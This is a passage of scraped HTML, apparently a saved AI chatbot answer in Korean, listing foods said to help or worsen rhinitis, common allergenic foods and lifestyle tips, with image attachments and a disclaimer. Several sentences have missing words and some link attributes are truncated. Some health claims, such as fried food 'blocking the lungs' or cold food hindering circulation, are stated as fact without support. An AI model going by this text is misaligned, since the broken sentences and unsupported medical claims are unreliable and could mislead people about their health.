gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 브로콜리 </div></div></single-image></response-element></div></li> <li data-sourcepos="13:1-13:69"><strong>연근:</strong> 혈액순환을 촉진하고 염증을 완화하는 가 있어 비염 개선에 도움을 줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_7886bc3b793046a7","c_9a88d5c7bf264780",null,"rc_9cbf2e55b85fa615",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://wtable.co.kr/recipes/WdzGXDumetzxNibW86yT6z5W"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="연근 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQ9E0-aMm4oLMWd4deDWn8XwZnF7UplC9Or1EgsjZ-JUXWiGWgNKeyZgSMwKO_7"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://wtable.co.kr/recipes/WdzGXDumetzxNibW86yT6z5W" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_7886bc3b793046a7","c_9a88d5c7bf264780",null,"rc_9cbf2e55b85fa615",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSplMbeWaIJb_u15wME2OjJosivXTp4AJvg9HovE3o-ttouKAD-S_Ilj7FFZ5ir1o0Q8d5HZEC7nzP6Ro2yIK1iyFDZcY0W"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">wtable.co.kr</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 연근 </div></div></single-image></response-element></div></li> <li data-sourcepos="14:1-15:0"><strong>귤:</strong> 비타민C가 풍부하여 면역력을 높이고 감기 예방에도 적입니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_7886bc3b793046a7","c_9a88d5c7bf264780",null,"rc_9cbf2e55b85fa615",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%B7%A4"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="귤 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcShWIxq9l-2VlvzukEBqjIABnW7jwgmNJ5h2iQW2x7Wa47srKSy8-Imoc-gX7NC"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%B7%A4" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_7886bc3b793046a7","c_9a88d5c7bf264780",null,"rc_9cbf2e55b85fa615",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 귤 </div></div></single-image></response-element></div></li> </ul><h3 data-sourcepos="16:1-16:13">비염에 나쁜 음식</h3><p data-sourcepos="18:1-18:51">비염 을 악화시킬 수 있는 음식은 주로 염증을 유발하거나 면역력을 저하시키는 음식입니다.</p><ul data-sourcepos="20:1-25:0"> <li data-sourcepos="20:1-20:54"><strong>맵고 짠 음식:</strong> 염증을 악화시키고 기관지를 자극하여 비염 을 악화시킬 수 있습니다.</li> <li data-sourcepos="21:1-21:52"><strong>찬 음식:</strong> 몸을 차게 만들어 혈액순환을 방해하고 비염 을 악화시킬 수 있습니다.</li> <li data-sourcepos="22:1-22:54"><strong>밀가루 음식:</strong> 소화 부담을 높이고 면역력을 저하시켜 비염 을 악화시킬 수 있습니다.</li> <li data-sourcepos="23:1-23:59"><strong>튀긴 음식:</strong> 기름진 음식은 폐를 막히게 하고 염증을 유발하여 비염 을 악화시킬 수 있습니다.</li> <li data-sourcepos="24:1-25:0"><strong>알코올, 카페인:</strong> 혈관을 수축시키고 면역력을 저하시켜 비염 을 악화시킬 수 있습니다.</li> </ul><h3 data-sourcepos="26:1-26:16">비염과 알레르기의 관계</h3><p data-sourcepos="28:1-28:110">비염은 알레르기 반응의 일종으로, 특정 물질(꽃가루, 집먼지진드기 등)에 과민하게 반응하여 코 점막에 염증이 생기는 입니다. 따라서 알레르기를 유발하는 음식은 비염 을 악화시킬 수 있습니다.</p><p data-sourcepos="30:1-30:22"><strong>알레르기를 유발할 수 있는 음식:</strong></p><ul data-sourcepos="32:1-36:0"> <li data-sourcepos="32:1-32:49"><strong>우유:</strong> 우유 단백질에 알레르기가 있는 경우 비염 을 악화시킬 수 있습니다.</li> <li data-sourcepos="33:1-33:47"><strong>달걀:</strong> 달걀흰자에 알레르기가 있는 경우 비염 을 악화시킬 수 있습니다.</li> <li data-sourcepos="34:1-34:45"><strong>생선:</strong> 생선에 알레르기가 있는 경우 비염 을 악화시킬 수 있습니다.</li> <li data-sourcepos="35:1-36:0"><strong>땅콩:</strong> 땅콩에 알레르기가 있는 경우 비염 을 악화시킬 수 있습니다.</li> </ul><p data-sourcepos="37:1-37:87"><strong>주의:</strong> 위에 언급된 음식은 일반적인 경우이며, 개인마다 알레르기 유발 식품이 다를 수 있습니다. 한 진단을 위해 전문의와 상담하는 것이 좋습니다.</p><p data-sourcepos="39:1-39:22"><strong>비염 관리를 위한 추가적인 노력:</strong></p><ul data-sourcepos="41:1-45:0"> <li data-sourcepos="41:1-41:45"><strong>규칙적인 운동:</strong> 면역력을 높이고 혈액순환을 개선하는 데 도움이 됩니다.</li> <li data-sourcepos="42:1-42:45"><strong>충분한 수면:</strong> 면역력을 유지하고 스트레스를 해소하는 데 도움이 됩니다.</li> <li data-sourcepos="43:1-43:73"><strong>실내 습도 조절:</strong> 너무 건조하거나 습한 환경은 비염 을 악화시킬 수 있으므로 적절한 습도를 유지하는 것이 중요합니다.</li> <li data-sourcepos="44:1-45:0"><strong>미세먼지 관리:</strong> 미세먼지는 비염 을 악화시킬 수 있으므로 외출 시 마스크를 착용하고 실내 공기를 정기적으로 청소하는 것이 좋습니다.</li> </ul><p data-sourcepos="46:1-46:96"><strong>Disclaimer:</strong> 이 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 다를 수 있습니다. 의 진단 및 는 반드시 의사의 상담을 받으시기 바랍니다.</p></div> </div></div>